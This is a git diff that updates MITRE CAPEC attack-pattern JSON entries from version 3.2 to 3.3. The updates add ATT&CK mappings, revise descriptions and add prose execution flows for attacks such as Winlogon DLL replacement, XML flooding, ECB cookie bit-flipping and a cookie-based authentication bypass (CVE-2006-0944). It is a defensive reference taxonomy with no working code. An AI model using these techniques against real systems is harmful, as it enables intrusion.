", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The application must be navigable in a manner that associates elements (subsections) of the application with ACLs.", @@ -76,11 +133,11 @@ "None: No specialized resources are required to execute this type of attack." ], "x_capec_skills_required": { - "Low": "In order to discover unrestricted resources, the attacker does not need special tools or skills. He only has to observe the resources or access mechanisms invoked as each action is performed and then try and access those access mechanisms directly." + "Low": "In order to discover unrestricted resources, the attacker does not need special tools or skills. They only have to observe the resources or access mechanisms invoked as each action is performed and then try and access those access mechanisms directly." }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--92df4967-ec90-4dc6-a8da-739892e850a4.json b/capec/attack-pattern/attack-pattern--92df4967-ec90-4dc6-a8da-739892e850a4.json index 68932ed20c..738a4bbd48 100644 --- a/capec/attack-pattern/attack-pattern--92df4967-ec90-4dc6-a8da-739892e850a4.json +++ b/capec/attack-pattern/attack-pattern--92df4967-ec90-4dc6-a8da-739892e850a4.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--ec1aa43f-4af9-4876-a747-00d3fe600e63", + "id": "bundle--6eb0fccb-e9cf-4ff5-bbbe-c8e5c8ddc4cd", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--92df4967-ec90-4dc6-a8da-739892e850a4", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Altered Component Firmware", "description": "An adversary with access to download and update system software sends a maliciously altered BIOS to the victim or victim supplier/integrator, which when installed allows for future exploitation.", "external_references": [ @@ -16,6 +16,12 @@ "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/638.html", "external_id": "CAPEC-638" + }, + { + "source_name": "ATTACK", + "description": "Pre-OS Boot:Component Firmware", + "url": "https://attack.mitre.org/wiki/Technique/T1542/002", + "external_id": "T1542.002" } ], "object_marking_refs": [ @@ -36,7 +42,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--93bedd5b-70cc-48a0-a7c9-09b3800bd6bc.json b/capec/attack-pattern/attack-pattern--93bedd5b-70cc-48a0-a7c9-09b3800bd6bc.json index 47e393a47f..45b2d7c66f 100644 --- a/capec/attack-pattern/attack-pattern--93bedd5b-70cc-48a0-a7c9-09b3800bd6bc.json +++ b/capec/attack-pattern/attack-pattern--93bedd5b-70cc-48a0-a7c9-09b3800bd6bc.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--acf04240-6d66-433e-ac66-088f95abf87d", + "id": "bundle--a86adb9b-ae69-4798-9e89-e1a9f546790f", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--93bedd5b-70cc-48a0-a7c9-09b3800bd6bc", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-04-25T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Modification of Windows Service Configuration", "description": "An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. Specifically, if the permissions for users and groups are not properly assigned and allow access to the registry keys used to store the configuration information for a service, then an adversary could change settings defining the path to the executable and cause a malicious binary to be executed.", "external_references": [ @@ -21,6 +21,18 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/284.html", "external_id": "CWE-284" + }, + { + "source_name": "ATTACK", + "description": "Hijack Execution Flow:Service Registry Permissions Weakness", + "url": "https://attack.mitre.org/wiki/Technique/T1574/011", + "external_id": "T1574.011" + }, + { + "source_name": "ATTACK", + "description": "Create or Modify System Process:Windows Service", + "url": "https://attack.mitre.org/wiki/Technique/T1543/003", + "external_id": "T1543.003" } ], "object_marking_refs": [ @@ -41,7 +53,7 @@ ], "x_capec_status": "Usable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--93f7216f-ddbe-4484-8fa6-87b680f16898.json b/capec/attack-pattern/attack-pattern--93f7216f-ddbe-4484-8fa6-87b680f16898.json index 58de0a1a0d..b283e839d5 100644 --- a/capec/attack-pattern/attack-pattern--93f7216f-ddbe-4484-8fa6-87b680f16898.json +++ b/capec/attack-pattern/attack-pattern--93f7216f-ddbe-4484-8fa6-87b680f16898.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--6b40cc4d-575d-4688-9e39-bf1ebbb34cd9", + "id": "bundle--48a433e1-b6a8-4017-92fa-5996f1be86a2", "spec_version": "2.0", "objects": [ { @@ -29,7 +29,7 @@ ], "x_capec_abstraction": "Meta", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--93f8b21a-7680-4813-8b4b-2976f5765320.json b/capec/attack-pattern/attack-pattern--93f8b21a-7680-4813-8b4b-2976f5765320.json index 14a0d9a47a..fb2f49210a 100644 --- a/capec/attack-pattern/attack-pattern--93f8b21a-7680-4813-8b4b-2976f5765320.json +++ b/capec/attack-pattern/attack-pattern--93f8b21a-7680-4813-8b4b-2976f5765320.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--44962cbc-1e89-4196-aa52-c161d2d6f8cb", + "id": "bundle--703da7a8-a65c-4165-a0a2-93d1f3c6f3a8", "spec_version": "2.0", "objects": [ { @@ -45,7 +45,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--94208f8a-f779-4be5-a97b-d9ab781a3f5e.json b/capec/attack-pattern/attack-pattern--94208f8a-f779-4be5-a97b-d9ab781a3f5e.json index ae39ba45b9..38970bb783 100644 --- a/capec/attack-pattern/attack-pattern--94208f8a-f779-4be5-a97b-d9ab781a3f5e.json +++ b/capec/attack-pattern/attack-pattern--94208f8a-f779-4be5-a97b-d9ab781a3f5e.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--2cf1c706-f6d4-4d89-8416-1944478a6084", + "id": "bundle--9c475a8d-8d24-4953-8e73-7812f7dddf82", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--94208f8a-f779-4be5-a97b-d9ab781a3f5e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "AJAX Fingerprinting", - "description": "This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. In many XSS attacks the attacker must get a \"hole in one\" and successfully exploit the vulnerability on the victim side the first time, once the client is redirected the attacker has many chances to engage in follow on probes, but there is only one first chance. In a widely used web application this is not a major problem because 1 in a 1,000 is good enough in a widely used application. A common first step for an attacker is to footprint the environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on.", + "description": "This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.", "external_references": [ { "source_name": "capec", @@ -84,18 +84,22 @@ ] }, "x_capec_example_instances": [ - "Footprinting can be executed over almost any protocol including HTTP, TCP, UDP, and ICMP, with the general goal of gaining further information about a host environment to launch further attacks. By appending a malicious script to an otherwise normal looking URL, the attacker can probe the system for banners, vulnerabilities, filenames, available services, and in short anything the host process has access to. The results of the probe are either used to execute additional javascript (for example, if the attackers' footprint script identifies a vulnerability in a firewall permission, then the client side script executes a javascript to change client firewall settings, or an attacker may simply echo the results of the scan back out to a remote host for targeting future attacks)." + "Footprinting can be executed over almost any protocol including HTTP, TCP, UDP, and ICMP, with the general goal of gaining further information about a host environment to launch further attacks. The attacker can probe the system for banners, vulnerabilities, filenames, available services, and in short anything the host process has access to. The results of the probe are either used to execute javascript (for example, if the attackers' footprint script identifies a vulnerability in a firewall permission, then the client side script executes a javascript to change client firewall settings, or an attacker may simply echo the results of the scan back out to a remote host for targeting future attacks) or to inform other data gathering activities in order to craft atta." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Send requests to the server and analyze responses: Using a browser or an automated tool, an attacker sends requests to a website and then captures the responses. Responses are analyzed for information on frameworks, architecture, and dependencies.

    2. Techniques
    Use a browser to manually request pages and view the responses. Manually parse responses to find information on dependencies and underlying architecture
    Use automated scripting to send one or multiple requests to a server and capture any responses. Parse responses from the server to identify any tags that may provide information about dependencies and underlying architecture.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The user must allow JavaScript to execute in their browser" ], + "x_capec_resources_required": [ + "None: No specialized resources are required to execute this type of attack." + ], "x_capec_skills_required": { "Medium": "To land and launch a script on victim's machine with appropriate footprinting logic for enumerating services and vulnerabilities in JavaScript" }, "x_capec_status": "Draft", - "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_typical_severity": "Low", + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--94238840-08ad-4117-8a20-ed359cda1e7e.json b/capec/attack-pattern/attack-pattern--94238840-08ad-4117-8a20-ed359cda1e7e.json index a850f6dede..df24b45f95 100644 --- a/capec/attack-pattern/attack-pattern--94238840-08ad-4117-8a20-ed359cda1e7e.json +++ b/capec/attack-pattern/attack-pattern--94238840-08ad-4117-8a20-ed359cda1e7e.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--a79dfce2-a8fd-4f0a-b349-0846a6f7241f", + "id": "bundle--1dfeb6cd-d7ab-492b-b67c-51142e5934b9", "spec_version": "2.0", "objects": [ { @@ -40,6 +40,7 @@ "x_capec_example_instances": [ "Consider the case of attack performed against the createCustomerBillingAccount Web Service for an online store. In this case, the createCustomerBillingAccount Web Service receives a huge number of simultaneous requests, containing nonsense billing account creation information (the small XML messages). The createCustomerBillingAccount Web Services may forward the messages to other Web Services for processing. The application suffers from a high load of requests, potentially leading to a complete loss of availability the involved Web Service." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey the target: Using a browser or an automated tool, an attacker records all instance of web services to process XML requests.

    2. Techniques
    Use an automated tool to record all instances of URLs to process XML requests.
    Use a browser to manually explore the website and analyze how the application processes XML requests.

Exploit

  1. Launch a resource depletion attack: The attacker delivers a large number of small XML messages to the target URLs found in the explore phase at a sufficiently rapid rate. It causes denial of service to the target application.

    2. Techniques
    Send a large number of crafted small XML messages to the target URL.
", "x_capec_likelihood_of_attack": "Low", "x_capec_prerequisites": [ "The target must receive and process XML transactions." @@ -53,7 +54,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--943fa8f4-b777-4f3c-984b-9f620e50c70b.json b/capec/attack-pattern/attack-pattern--943fa8f4-b777-4f3c-984b-9f620e50c70b.json index 2de1bf9497..2d916aba9b 100644 --- a/capec/attack-pattern/attack-pattern--943fa8f4-b777-4f3c-984b-9f620e50c70b.json +++ b/capec/attack-pattern/attack-pattern--943fa8f4-b777-4f3c-984b-9f620e50c70b.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--199481b9-a172-4aa6-8998-1eb32621ae90", + "id": "bundle--3d346852-a7a4-4d10-aaf9-066205a94c5c", "spec_version": "2.0", "objects": [ { @@ -65,7 +65,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--94e596d2-6844-4031-80c3-8522642aaff8.json b/capec/attack-pattern/attack-pattern--94e596d2-6844-4031-80c3-8522642aaff8.json index 358a538a01..0348adc75e 100644 --- a/capec/attack-pattern/attack-pattern--94e596d2-6844-4031-80c3-8522642aaff8.json +++ b/capec/attack-pattern/attack-pattern--94e596d2-6844-4031-80c3-8522642aaff8.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--6df50ee7-2947-436a-8700-0a04bfa93175", + "id": "bundle--a4e7d03b-25a4-4a0f-8123-cc5c893dc065", "spec_version": "2.0", "objects": [ { @@ -40,7 +40,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--95afb65f-ece7-4511-85a3-d7bfb9973022.json b/capec/attack-pattern/attack-pattern--95afb65f-ece7-4511-85a3-d7bfb9973022.json index 1a8c8d63a4..3be025a7c2 100644 --- a/capec/attack-pattern/attack-pattern--95afb65f-ece7-4511-85a3-d7bfb9973022.json +++ b/capec/attack-pattern/attack-pattern--95afb65f-ece7-4511-85a3-d7bfb9973022.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--ace028f0-cda1-4e6e-88d1-68312aad3577", + "id": "bundle--1be8046a-aa8b-45fc-87eb-51659d7b860e", "spec_version": "2.0", "objects": [ { @@ -32,7 +32,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--965d88fd-a632-4960-b4ba-7521878a0ba3.json b/capec/attack-pattern/attack-pattern--965d88fd-a632-4960-b4ba-7521878a0ba3.json index e966484567..0f16c503c9 100644 --- a/capec/attack-pattern/attack-pattern--965d88fd-a632-4960-b4ba-7521878a0ba3.json +++ b/capec/attack-pattern/attack-pattern--965d88fd-a632-4960-b4ba-7521878a0ba3.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--d60d6caa-f372-4801-8f60-5a8af4e41f36", + "id": "bundle--ad8cd75d-e576-47ec-895e-a2a45c9ff95d", "spec_version": "2.0", "objects": [ { @@ -8,14 +8,29 @@ "id": "attack-pattern--965d88fd-a632-4960-b4ba-7521878a0ba3", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", - "name": "Fault Injection", + "modified": "2020-07-30T00:00:00.000Z", + "name": "Hardware Fault Injection", "description": "The adversary uses disruptive signals or events (e.g. electromagnetic pulses, laser pulses, clock glitches, etc.) to cause faulty behavior in electronic devices. When performed in a controlled manner on devices performing cryptographic operations, this faulty behavior can be exploited to derive secret key information.", "external_references": [ { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/624.html", "external_id": "CAPEC-624" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1247.html", + "external_id": "CWE-1247" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1248.html", + "external_id": "CWE-1248" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1256.html", + "external_id": "CWE-1256" } ], "object_marking_refs": [ @@ -27,9 +42,9 @@ ], "x_capec_consequences": { "Confidentiality": [ - "Read Data (An adversary capable of successfully collecting and analyzing sensitive, fault/side-channel information, he or she has compromised the confidentiality of that application or information system data.)", - "Bypass Protection Mechanism (An adversary capable of successfully collecting and analyzing sensitive, fault/side-channel information, he or she has compromised the confidentiality of that application or information system data.)", - "Hide Activities (An adversary capable of successfully collecting and analyzing sensitive, fault/side-channel information, he or she has compromised the confidentiality of that application or information system data.)" + "Read Data (An adversary capable of successfully collecting and analyzing sensitive, fault/side-channel information, has compromised the confidentiality of that application or information system data.)", + "Bypass Protection Mechanism (An adversary capable of successfully collecting and analyzing sensitive, fault/side-channel information, has compromised the confidentiality of that application or information system data.)", + "Hide Activities (An adversary capable of successfully collecting and analyzing sensitive, fault/side-channel information, has compromised the confidentiality of that application or information system data.)" ], "Integrity": [ "Execute Unauthorized Commands (If an adversary is able to inject data via a fault or side channel vulnerability towards malicious ends, the integrity of the application or information system will be compromised.)" @@ -48,7 +63,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--966f2983-596b-4e3b-b809-52f5576478c9.json b/capec/attack-pattern/attack-pattern--966f2983-596b-4e3b-b809-52f5576478c9.json index 34cee512d1..b72c8dbd57 100644 --- a/capec/attack-pattern/attack-pattern--966f2983-596b-4e3b-b809-52f5576478c9.json +++ b/capec/attack-pattern/attack-pattern--966f2983-596b-4e3b-b809-52f5576478c9.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--7cde2d56-3ab4-4e8b-bc36-169708b715b1", + "id": "bundle--16828695-747f-4530-a91b-be320e007921", "spec_version": "2.0", "objects": [ { @@ -72,7 +72,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--96c60498-fdd4-4f9f-a21f-c1a4ee84f0f3.json b/capec/attack-pattern/attack-pattern--96c60498-fdd4-4f9f-a21f-c1a4ee84f0f3.json index 5a3be4319e..f0a3ad6e92 100644 --- a/capec/attack-pattern/attack-pattern--96c60498-fdd4-4f9f-a21f-c1a4ee84f0f3.json +++ b/capec/attack-pattern/attack-pattern--96c60498-fdd4-4f9f-a21f-c1a4ee84f0f3.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--acfb2bbf-d44b-4d64-b68c-d17a6f25de4c", + "id": "bundle--2024b4af-6b39-46aa-967e-9302f1ef821f", "spec_version": "2.0", "objects": [ { @@ -33,7 +33,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--9927fda8-927b-4327-b3f8-bcbd0467c702.json b/capec/attack-pattern/attack-pattern--9927fda8-927b-4327-b3f8-bcbd0467c702.json index f88e8af464..04352b49bc 100644 --- a/capec/attack-pattern/attack-pattern--9927fda8-927b-4327-b3f8-bcbd0467c702.json +++ b/capec/attack-pattern/attack-pattern--9927fda8-927b-4327-b3f8-bcbd0467c702.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--9f29d701-0349-4660-a314-95f87e6fe733", + "id": "bundle--ac4d3522-614d-4c79-9a5c-62c8d107058b", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--9927fda8-927b-4327-b3f8-bcbd0467c702", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Replace Winlogon Helper DLL", "description": "Winlogon is a part of Windows that performs logon actions. In Windows systems prior to Windows Vista, a registry key can be modified that causes Winlogon to load a DLL on startup. Adversaries may take advantage of this feature to load adversarial code at startup.", "external_references": [ @@ -16,6 +16,12 @@ "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/579.html", "external_id": "CAPEC-579" + }, + { + "source_name": "ATTACK", + "description": "Boot or Logon Autostart Execution:Winlogon helper DLL", + "url": "https://attack.mitre.org/wiki/Technique/T1547/004", + "external_id": "T1547.004" } ], "object_marking_refs": [ @@ -23,7 +29,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--996aa0f7-950e-4435-a60d-ae859e545101.json b/capec/attack-pattern/attack-pattern--996aa0f7-950e-4435-a60d-ae859e545101.json index b93c28adb4..eae1dde715 100644 --- a/capec/attack-pattern/attack-pattern--996aa0f7-950e-4435-a60d-ae859e545101.json +++ b/capec/attack-pattern/attack-pattern--996aa0f7-950e-4435-a60d-ae859e545101.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--2cff20fe-1687-40a4-a130-6660718c3341", + "id": "bundle--4fe865a4-13b5-46e1-b712-ab8c942862da", "spec_version": "2.0", "objects": [ { @@ -27,7 +27,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--9996317e-313b-456c-8bc8-491dbb53b368.json b/capec/attack-pattern/attack-pattern--9996317e-313b-456c-8bc8-491dbb53b368.json index eab3abdd2b..d0585fac66 100644 --- a/capec/attack-pattern/attack-pattern--9996317e-313b-456c-8bc8-491dbb53b368.json +++ b/capec/attack-pattern/attack-pattern--9996317e-313b-456c-8bc8-491dbb53b368.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--5ae96034-decd-423f-9ed2-f6b1f21430f6", + "id": "bundle--e41d64a2-fc91-4794-a8c0-1a6b3a8ec7fc", "spec_version": "2.0", "objects": [ { @@ -28,7 +28,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--9a7492fa-b46e-48bc-aae9-beb1d359171e.json b/capec/attack-pattern/attack-pattern--9a7492fa-b46e-48bc-aae9-beb1d359171e.json index 7bc3eb8c3e..2a74642007 100644 --- a/capec/attack-pattern/attack-pattern--9a7492fa-b46e-48bc-aae9-beb1d359171e.json +++ b/capec/attack-pattern/attack-pattern--9a7492fa-b46e-48bc-aae9-beb1d359171e.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--19a64425-9ac4-4eb6-b1ed-84aa62e5808c", + "id": "bundle--5001a135-83c8-47de-b7f9-548155fafd73", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--9a7492fa-b46e-48bc-aae9-beb1d359171e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-05-04T00:00:00.000Z", - "modified": "2018-05-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Probe System Files", "description": "An adversary obtains unauthorized information due to improperly protected files. If an application stores sensitive information in a file that is not protected by proper access control, then an adversary can access the file and search for sensitive information.", "external_references": [ @@ -21,6 +21,18 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/552.html", "external_id": "CWE-552" + }, + { + "source_name": "ATTACK", + "description": "Unsecured Credentials:Credentials in Files", + "url": "https://attack.mitre.org/wiki/Technique/T1552/001", + "external_id": "T1552.001" + }, + { + "source_name": "ATTACK", + "description": "Data from Network Shared Drive", + "url": "https://attack.mitre.org/wiki/Technique/T1039", + "external_id": "T1039" } ], "object_marking_refs": [ @@ -41,7 +53,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--9a7c6cbc-e3f9-4925-992e-f07e1359de87.json b/capec/attack-pattern/attack-pattern--9a7c6cbc-e3f9-4925-992e-f07e1359de87.json index 198a9f750d..231a1610ff 100644 --- a/capec/attack-pattern/attack-pattern--9a7c6cbc-e3f9-4925-992e-f07e1359de87.json +++ b/capec/attack-pattern/attack-pattern--9a7c6cbc-e3f9-4925-992e-f07e1359de87.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--814efce0-e505-4f33-886e-b37f51ebf9ed", + "id": "bundle--e42f9405-db35-47fb-992c-bfea713d3a9a", "spec_version": "2.0", "objects": [ { @@ -119,7 +119,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--9ad2c2eb-9939-4590-9683-2e789692d262.json b/capec/attack-pattern/attack-pattern--9ad2c2eb-9939-4590-9683-2e789692d262.json index c95605497c..215c624bb4 100644 --- a/capec/attack-pattern/attack-pattern--9ad2c2eb-9939-4590-9683-2e789692d262.json +++ b/capec/attack-pattern/attack-pattern--9ad2c2eb-9939-4590-9683-2e789692d262.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--041cc7df-0a01-4649-8ba9-341f762010c4", + "id": "bundle--21fb4e4a-8538-4193-a240-2f1fc4a8457e", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--9ad2c2eb-9939-4590-9683-2e789692d262", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Using Malicious Files", "description": "An attack of this type exploits a system's configuration that allows an attacker to either directly access an executable file, for example through shell access; or in a possible worst case allows an attacker to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.", "external_references": [ @@ -62,6 +62,12 @@ "url": "http://cwe.mitre.org/data/definitions/693.html", "external_id": "CWE-693" }, + { + "source_name": "ATTACK", + "description": "Hijack Execution Flow:Services File Permissions Weakness", + "url": "https://attack.mitre.org/wiki/Technique/T1574/010", + "external_id": "T1574.010" + }, { "source_name": "reference_from_CAPEC", "description": "G. Hoglund, G. McGraw, Exploiting Software: How to Break Code, 2004--02, Addison-Wesley", @@ -107,7 +113,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--9afead03-280c-4f2c-82f6-b08b7a54a8e3.json b/capec/attack-pattern/attack-pattern--9afead03-280c-4f2c-82f6-b08b7a54a8e3.json index ab63e11117..cd605a4858 100644 --- a/capec/attack-pattern/attack-pattern--9afead03-280c-4f2c-82f6-b08b7a54a8e3.json +++ b/capec/attack-pattern/attack-pattern--9afead03-280c-4f2c-82f6-b08b7a54a8e3.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--89e0c15e-96b8-4cb1-a8c6-e1e349745343", + "id": "bundle--da7a6071-665f-4059-85a4-2cd058104f4c", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--9afead03-280c-4f2c-82f6-b08b7a54a8e3", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Manipulating Opaque Client-based Data Tokens", "description": "In circumstances where an application holds important data client-side in tokens (cookies, URLs, data files, and so forth) that data can be manipulated. If client or server-side application components reinterpret that data as authentication tokens or data (such as store item pricing or wallet information) then even opaquely manipulating that data may bear fruit for an Attacker. In this pattern an attacker undermines the assumption that client side tokens have been adequately protected from tampering through use of encryption or obfuscation.", "external_references": [ @@ -82,10 +82,11 @@ ] }, "x_capec_example_instances": [ - "With certain price watching websites, that aggregate products available prices, the user can buy items through whichever vendors has product availability, the best price, or other differentiator. Once a user selects an item, the site must broker the purchase of that item with the vendor. Because vendors sell the same product through different channel partners at different prices, token exchange between price watching sites and selling vendors will often contain pricing information. With some price watching sites, manipulating URL-data (which is encrypted) even opaquely yields different prices charged by the fulfilling vendor. If the manipulated price turns out higher, the Attacker can cancel purchase. If the Attacker succeeded in manipulating the token and creating a lower price, he/she proceeds.", + "With certain price watching websites, that aggregate products available prices, the user can buy items through whichever vendors has product availability, the best price, or other differentiator. Once a user selects an item, the site must broker the purchase of that item with the vendor. Because vendors sell the same product through different channel partners at different prices, token exchange between price watching sites and selling vendors will often contain pricing information. With some price watching sites, manipulating URL-data (which is encrypted) even opaquely yields different prices charged by the fulfilling vendor. If the manipulated price turns out higher, the Attacker can cancel purchase. If the Attacker succeeded in manipulating the token and creating a lower price, they proceed.", "Upon successful authentication user is granted an encrypted authentication cookie by the server and it is stored on the client. One piece of information stored in the authentication cookie reflects the access level of the user (e.g. \"u\" for user). The authentication cookie is encrypted using the Electronic Code Book (ECB) mode, that naively encrypts each of the plaintext blocks to each of the ciphertext blocks separately. An attacker knows the structure of the cookie and can figure out what bits (encrypted) store the information relating to the access level of the user. An attacker modifies the authentication cookie and effectively substitutes \"u\" for \"a\" by flipping some of the corresponding bits of ciphertext (trial and error). Once the correct \"flip\" is found, when the system is accessed, the attacker is granted administrative privileges in the system. Note that in this case an attacker did not have to figure out the exact encryption algorithm or find the secret key, but merely exploit the weakness inherent in using the ECB encryption mode.", "Archangel Weblog 0.90.02 allows remote attackers to bypass authentication by setting the ba_admin cookie to 1. See also: CVE-2006-0944" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Enumerate information passed to client side: The attacker identifies the parameters used as part of tokens to take business or security decisions

    2. Techniques
    Use WebScarab to reveal hidden fields while browsing.
